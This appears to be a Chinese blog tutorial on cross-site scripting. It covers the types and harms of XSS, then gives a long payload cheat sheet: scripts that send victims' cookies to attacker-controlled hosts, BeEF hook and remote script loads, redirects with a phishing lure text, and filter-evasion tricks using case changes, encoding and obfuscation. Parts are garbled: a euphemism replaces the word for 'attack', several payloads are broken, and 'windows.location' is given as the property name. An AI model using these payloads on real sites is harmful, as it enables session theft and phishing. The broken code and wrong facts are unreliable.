原理
XSS(跨站脚本公鸡)是一种常见的网络安全漏洞,公鸡者通过在受信任的网站上注入恶意脚本,使其在用户浏览器中执行。这些恶意脚本可以窃取用户的敏感信息,如登录凭证、个人信息等,或者进行其他恶意操作。
XSS漏洞的原理是公鸡者将恶意脚本注入到受信任的网站中,然后当用户访问该网站时,恶意脚本会被执行。这种注入可以通过多种方式实现,包括在输入框中注入恶意脚本、通过URL参数注入脚本等。
公鸡者通常利用以下几种类型的XSS漏洞进行公鸡:
存储型XSS:公鸡者将恶意脚本存储在服务器上,当其他用户访问包含该脚本的页面时,恶意脚本会被执行。
反射型XSS:公鸡者将恶意脚本作为参数注入到URL中,当用户点击包含该恶意脚本的URL时,恶意脚本会被执行。
DOM型XSS:公鸡者通过修改页面的DOM结构来触发XSS漏洞,使恶意脚本被执行。
为了防止XSS漏洞,开发人员应该采取以下措施:
对用户输入进行严格的验证和过滤,确保不允许恶意脚本注入。
对输出的内容进行适当的编码,以防止恶意脚本被执行。
使用安全的编程语言和框架,避免常见的XSS漏洞。
及时更新和修补已知的安全漏洞。
1、XSS(Cross Site Scripting)跨站脚本公鸡是基于客户端的Web公鸡,跟SQL注入公鸡一样稳居OWASP前三,危害极大
2、XSS即公鸡者构造脚本(一般是Javascript)到Web页面,受害者通过点击链接即被公鸡
若拿到了管理员的cookie,则功效相当于SQL注 入,直接控制整个网站
3、XSS公鸡点一般出现在网页中的评论框、留言板、搜索框等"用户输入"的地方
4、XSS漏洞形成主要是Web服务端没有对脚本文件如<script>进行安全过滤
基于DOM和Ajax等技术,慢慢迁移到客户端
例如在DVWAXSS输入框里输入:
<script>alert('xss')</script>
危害
网页挂马
网页挂马是指黑客通过各种手段将恶意代码嵌入到网页中,使得用户在访问该网页时受到公鸡。这种公鸡方式主要是通过在网页的代码中插入恶意的JavaScript代码或其他类型的代码来实现的。当用户访问被挂马的网页时,恶意代码会自动执行,从而导致用户的计算机感染病读、遭受钓鱼公鸡、泄露个人信息等安全问题。
网页挂马的目的通常是为了获取用户的敏感信息、传播恶意软件、进行网络钓鱼等非法活动。黑客可以利用各种漏洞和技术手段来实现网页挂马,例如利用网站的安全漏洞、操纵广告投放、劫持网页链接等。
为了防止网页挂马,网站管理员需要定期检查网站的安全性,及时修补漏洞,使用安全的编码实践,限制用户输入,过滤恶意代码等。用户在浏览网页时也应该保持警惕,避免点击可疑链接,及时更新浏览器和安全软件,以提高自身的安全防护能力。
会话劫持
用户劫持
直接控制受害者
信息窃取
盗取各类用户账号、如网银账号、游戏账号、电 商账号等
键盘记录
网站钓鱼
钓鱼网站
XSS DDOS
XSS蠕虫
分类
反射型XSS(Reflected XSS)
非持久型XSS
非持久型XSS是指恶意脚本只在用户访问受感染的页面时执行一次,不会被存储到服务器端。与持久型XSS不同,非持久型XSS的公鸡效果只在当前用户会话中生效,不会对其他用户产生影响。
以下是一个非持久型XSS的例子:
<!DOCTYPE html> <html> <head> <script> function xssAttack() { var userInput = document.getElementById("userInput").value; document.getElementById("output").innerHTML = userInput; } </script> </head> <body> <h1>非持久型XSS演示</h1> <input type="text" id="userInput"> <button onclick="xssAttack()">提交</button> <p id="output"></p> </body> </html>
用户在输入框中输入恶意代码,例如<script>alert('XSS公鸡')</script>,点击提交按钮后,恶意代码会被执行,并弹出一个警示框。这种公鸡只在当前用户会话中生效,不会对其他用户产生影响
存储型XSS(Stored XSS)
持久型XSS(挂马)
持久型XSS是一种常见的网络安全漏洞,它允许公鸡者将恶意脚本注入到网站的数据库中,然后在用户访问该网站时执行这些恶意脚本。这种漏洞之所以被称为"持久型",是因为恶意脚本会被永久地存储在目标网站的数据库中,每当用户访问受影响的页面时,这些脚本都会被执行。
持久型XSS的危害非常大,公鸡者可以利用它来窃取用户的敏感信息,如登录凭证、个人信息等。公鸡者还可以通过在受影响的网站上注入恶意代码,将用户重定向到恶意网站,甚至控制用户的浏览器。
以下是一个持久型XSS的示例:
假设有一个博客网站,用户可以在评论区发表评论。网站的开发者没有对用户输入进行充分的过滤和验证,导致公鸡者可以在评论中注入恶意脚本。
公鸡者可以在评论中输入以下内容:
<script> // 恶意代码,例如窃取用户的Cookie var xhr = new XMLHttpRequest(); xhr.open("GET", "http://attacker.com/steal.php?cookie=" + document.cookie, true); xhr.send(); </script>
当其他用户访问包含这个恶意评论的页面时,他们的浏览器会执行这段恶意脚本,将用户的Cookie发送到公鸡者控制的服务器上。
为了防止持久型XSS公鸡,开发者应该对用户输入进行严格的过滤和验证,并使用适当的编码来防止恶意脚本的注入
DOM型XSS
基于DOM文档对象类型构造XSS语句
document.cookie
document.location
手工思路
寻找XSS漏洞点
构造XSS链接
挂马
钓鱼
等待肉鸡上钩
1.kali linux
(1)xssf + metaspolit
(2)BeEF
2.windows 7
XSS脚本解读
常用HTML标签
<iframe>
<textarea>
<img>
常用JavaScript方法
alert//弹框
windows.location//事件信息/重定向
location.href//事件信息/重定向
onload//加载
onsubmit//提交
onerror //出错加载
windows.location和location.href都是JavaScript中用于获取当前页面URL的属性。
windows.location是一个对象,它包含了当前页面的URL信息,包括协议、主机、端口、路径等。可以通过windows.location来获取或修改当前页面的URL信息。
location.href是windows.location对象的一个属性,它返回当前页面的完整URL。可以通过location.href来获取当前页面的URL。
以下是一个示例:
console.log(windows.location); // 输出:[object Location] console.log(location.href); // 输出://www.jb51.net/
<script>alert('xss')</script>
此脚本实现弹框提示,一般作为漏洞测试或者演示使用。类似SQL注入漏洞测试中的单引号’
一旦此脚本能执行,也就意味着后端服务器没有对特殊字符做过滤<>/'
这样就可以证明,这个页面位置存在了XSS漏洞
<script>alert(document.cookie)</script>
获取cookie并显示
自己看自己cookie没意义,一般需要结合其他代码,让用户点击并发送cookie到自己架设的服务器
页面嵌套
<iframe src=http://www.baidu.com width=300 height=300></iframe>
<iframe src=http://www.baidu.com width=0 height=0 border=0></iframe>
<script>window.locatinotallow="http://www.hacker.com"</script>
<script>location.href="http://www.hacker.com"</script>
<script>location.href="http://172.16.70.214/mutillidae/robots.txt"</script>
弹框警告并重定向
<script>alert("请移步到我们的新站");location.href="http://new.hacker.com"</script>
<script>alert('请移步到我们的新站');location.href="http://172.16.70.214/mutillidae/robots.txt"</script>
<script>alert('xss');location.href="http://172.16.70.214/mutillidae/robots.txt"</script>
这里结合了一些社工的思路,例如,通过网站内部私信的方式将其发给其他用户
如果其他用户点击并且相信了这个信息,则可能在另外的站点重新登录账户(克隆网站收 集账户)
社工文案:【紧急通知-您的私房照泄露了】
<script src="http://www.hacker.com/xss.js"></script>
1.将用户重定向到其他页面并读取xss.js内容
2.xss.js内容可以构造危害更大的脚本功能
(1)浏览器被劫持
(2)与CSRF结合,网银转账
<script src="172.16.70.216:3000/hook.js"></script>
BeEF框架的JS语句
巧用图片标签
<img src="#" notallow=alert('xss')>
若图片链接无效,则执行src
可以绕开<script>过滤 <img src="javascript:alert('xss');"> <img src="172.16.70.216:3000/hook.js"></img>
<img src=#
onerror="document.body.appendChild(document.createElement('script')).src='//www.hacker.com/cookie.js'">
绕开过滤的脚本
大小写
<ScrIpt>alert('xss')</SCRipt>
字符编码
url
%3c%73%63%72%49%70%74%3e%61%6c%
65%72%74%28%27%78%73%73%27%29%3c%
2f%73%63%72%69%70%74%3e
代码混淆
http://tool.chinaz.com/tools/jscodeconfusion. aspx
<script>window["\x61\x6c\x65\x72\x74"]('\ x78\x73\x73')</script>
收集用户cookie
<script>window.open("http://www.hacker.com/cookie.php?cookie="+document.cookie)</script>
<script>document.locatinotallow=" http://www.hacker.com/cookie.php?cookie="+ document.cookie</script>
<script>new Image().src=" http://www.hacker.com/cookie.php?cookie="+ document.cookie;</script>
其他
<img src="http://www.hacker.com/cookie.php?cookie='+document.cookie"></img>
当<script>被过滤时使用
<iframe src="http://www.hacker.com/cookie.php?cookie='+ document.cookie"></iframe>
<script> new Image().src="http://www.hacker.com/cookie.php?cookie='+ document.cookie"; img.width = 0; img.height = 0; </script>
服务器端Web文件
PHP文件